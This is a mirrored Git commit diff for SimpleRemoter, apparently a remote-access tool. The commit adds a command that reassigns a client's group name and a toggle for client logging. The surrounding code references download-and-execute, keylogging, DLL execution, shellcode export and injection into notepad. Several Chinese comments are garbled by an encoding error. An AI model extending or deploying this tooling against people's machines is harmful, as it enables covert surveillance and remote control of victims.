mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
Feature: Complete re-group logic and add log control
This commit is contained in:
@@ -489,6 +489,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
std::string publicIP = m_ClientObject->GetClientIP();
|
||||
|
||||
switch (szBuffer[0]) {
|
||||
case CMD_SET_GROUP:{
|
||||
std::string group = std::string((char*)szBuffer + 1);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "group_name", group);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DOWN_EXEC:
|
||||
{
|
||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||
@@ -708,6 +715,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
|
||||
mgr->m_bIsOfflineRecord = TRUE;
|
||||
}
|
||||
Logger::getInstance().usingLog(m_settings.EnableLog);
|
||||
}
|
||||
break;
|
||||
case COMMAND_KEYBOARD: { //键盘记录
|
||||
|
||||
@@ -288,6 +288,7 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo) {
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
||||
{
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
LOGIN_INFOR LoginInfor;
|
||||
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
|
||||
//获得操作系统信息
|
||||
@@ -301,6 +302,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
||||
dwCPUMHz = CPUClockMHz();
|
||||
|
||||
BOOL bWebCamIsExist = WebCamIsExist();
|
||||
std::string group = cfg.GetStr("settings", "group_name");
|
||||
if (!group.empty())
|
||||
strcpy_s(conn.szGroupName, group.c_str());
|
||||
if (conn.szGroupName[0] == 0)
|
||||
memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName));
|
||||
else
|
||||
@@ -317,7 +321,6 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
||||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||||
LoginInfor.AddReserved(buf); // 文件路径
|
||||
LoginInfor.AddReserved("?"); // test
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
std::string installTime = cfg.GetStr("settings", "install_time");
|
||||
if (installTime.empty()) {
|
||||
installTime = ToPekingTimeAsString(nullptr);
|
||||
|
||||
@@ -269,6 +269,7 @@ enum {
|
||||
TOKEN_SHELL_DATA = 231, // <20>ն˽<D5B6><CBBD><EFBFBD>
|
||||
CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD>
|
||||
TOKEN_CLIENT_MSG = 241, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
CMD_SET_GROUP = 242, // <20>ķ<DEB8><C4B7><EFBFBD>
|
||||
};
|
||||
|
||||
enum MachineCommand {
|
||||
@@ -890,7 +891,8 @@ typedef struct MasterSettings {
|
||||
int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
|
||||
char WalletAddress[472]; // Wallets
|
||||
int EnableKBLogger; // Since 2025-11-27
|
||||
char Reserved[496]; // Since 2025-11-27
|
||||
int EnableLog; // Since 2025-12-17
|
||||
char Reserved[492]; // Since 2025-11-27
|
||||
} MasterSettings;
|
||||
|
||||
#define MasterSettingsOldSize 500
|
||||
|
||||
Binary file not shown.
@@ -558,6 +558,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||||
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
|
||||
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -1200,6 +1202,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
auto w = THIS_CFG.GetStr("settings", "wallet", "");
|
||||
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
|
||||
m_settings.EnableKBLogger = THIS_CFG.GetInt("settings", "KeyboardLog", 0);
|
||||
m_settings.EnableLog = THIS_CFG.GetInt("settings", "EnableLog", 0);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
|
||||
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
|
||||
@@ -3856,7 +3859,18 @@ void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineRegroup()
|
||||
{
|
||||
TODO_NOTICE;
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init("修改分组", "请输入分组名称:");
|
||||
if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()){
|
||||
return;
|
||||
}
|
||||
if (dlg.m_str.GetLength() >= 24) {
|
||||
MessageBoxA("分组名称长度不得超过24个字符!", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
BYTE cmd[50] = { CMD_SET_GROUP };
|
||||
memcpy(cmd + 1, dlg.m_str, dlg.m_str.GetLength());
|
||||
SendSelectedCommand(cmd, sizeof(cmd));
|
||||
}
|
||||
|
||||
|
||||
@@ -4238,3 +4252,23 @@ void CMy2015RemoteDlg::OnOnlineInjNotepad()
|
||||
LeaveCriticalSection(&m_cs);
|
||||
SAFE_DELETE(tinyRun);
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnParamLoginNotify()
|
||||
{
|
||||
static BOOL notify = THIS_CFG.GetInt("settings", "LoginNotify", 0);
|
||||
notify = !notify;
|
||||
THIS_CFG.SetInt("settings", "LoginNotify", notify);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||
SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, notify ? MF_CHECKED : MF_UNCHECKED);
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnParamEnableLog()
|
||||
{
|
||||
m_settings.EnableLog = !m_settings.EnableLog;
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||
SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
|
||||
THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
|
||||
SendMasterSettings(nullptr);
|
||||
}
|
||||
|
||||
@@ -378,4 +378,6 @@ public:
|
||||
afx_msg void OnShellcodeAesCArray();
|
||||
afx_msg void OnParamKblogger();
|
||||
afx_msg void OnOnlineInjNotepad();
|
||||
afx_msg void OnParamLoginNotify();
|
||||
afx_msg void OnParamEnableLog();
|
||||
};
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user